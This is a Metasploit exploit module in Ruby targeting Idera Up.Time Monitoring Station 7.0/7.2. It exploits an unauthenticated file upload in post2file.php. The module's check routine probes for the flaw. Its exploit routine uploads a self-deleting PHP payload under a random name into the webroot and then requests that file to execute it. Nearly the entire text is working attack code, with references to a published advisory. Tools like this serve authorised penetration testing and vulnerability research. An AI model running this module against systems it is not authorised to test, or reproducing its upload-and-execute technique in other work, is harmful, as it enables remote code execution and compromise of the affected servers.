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## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::PhpEXE def initialize(info = {}) super(update_info(info, 'Name' => 'Idera Up.Time Monitoring Station 7.0 post2file.php Arbitrary File Upload', 'Description'=> %q{ This module exploits an arbitrary file upload vulnerability found within the Up.Time monitoring server 7.2 and below. A malicious entity can upload a PHP file into the webroot without authentication, leading to arbitrary code execution. Although the vendor fixed Up.Time to prevent this vulnerability, it was not properly mitigated. To exploit against a newer version of Up.Time (such as 7.4), please use exploits/multi/http/uptime_file_upload_2. }, 'Author' => [ 'Denis Andzakovic <denis.andzakovic[at]security-assessment.com>' # Vulnerability discoverey and MSF module ], 'License'=> MSF_LICENSE, 'References' => [ [ 'OSVDB', '100423' ], [ 'BID', '64031'], [ 'URL', 'http://www.security-assessment.com/files/documents/advisory/Up.Time%207.2%20-%20Arbitrary%20File%20Upload.pdf' ] ], 'Payload'=> { 'Space' => 10000, # just a big enough number to fit any PHP payload 'DisableNops' => true }, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets'=> [ [ 'Up.Time 7.0/7.2', { } ], ], 'DefaultTarget'=> 0, 'DisclosureDate' => 'Nov 19 2013')) register_options([ OptString.new('TARGETURI', [true, 'The full URI path to the Up.Time instance', '/']), Opt::RPORT(9999) ], self.class) end def check uri =target_uri.path res = send_request_cgi({ 'method' => 'POST', 'uri'=> normalize_uri(uri, 'wizards', 'post2file.php') }) if res and res.code == 500 and res.body.to_s =~ /<title><\/title>/ return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe end def exploit print_status("#{peer} - Uploading PHP to Up.Time server") uri =target_uri.path @payload_name = "#{rand_text_alpha(5)}.php" php_payload = get_write_exec_payload(:unlink_self => true) post_data = ({ "file_name" => @payload_name, "script" => php_payload }) print_status("#{peer} - Uploading payload #{@payload_name}") res = send_request_cgi({ 'method' => 'POST', 'uri'=> normalize_uri(uri, 'wizards', 'post2file.php'), 'vars_post' => post_data, }) unless res and res.code == 200 and res.body.to_s =~ /<title><\/title>/ fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed") end print_status("#{peer} - Executing payload #{@payload_name}") res = send_request_cgi({ 'uri'=> normalize_uri(uri, 'wizards', @payload_name), 'method' => 'GET' }) end end |
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